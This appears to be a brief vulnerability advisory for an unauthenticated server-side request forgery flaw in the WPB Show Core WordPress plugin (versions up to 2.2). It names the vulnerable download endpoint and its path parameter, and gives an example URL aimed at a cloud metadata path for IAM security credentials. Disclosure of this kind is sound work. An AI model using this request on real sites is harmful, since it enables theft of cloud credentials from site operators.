WPB Show Core <= 2.2 - Unauthenticated Server Side Request Forgery

2023-11-0600:00:00

Mohamed Abdelhady

vulnerable plugin

unauthenticated

server side request forgery

exploit

arbitrary url

AI Score

9.7

Confidence

High

EPSS

0.001

Percentile

43.4%

JSON

Description This plugin is vulnerable to server-side request forgery (SSRF) via the path parameter.

Send a GET request to `wpb-show-core/download-file.php` with the path parameter set to an arbitrary URL 

`http://example.com/latest/meta-data/iam/security-credentials/wpb-apps-prod-role`

the website will download/response the files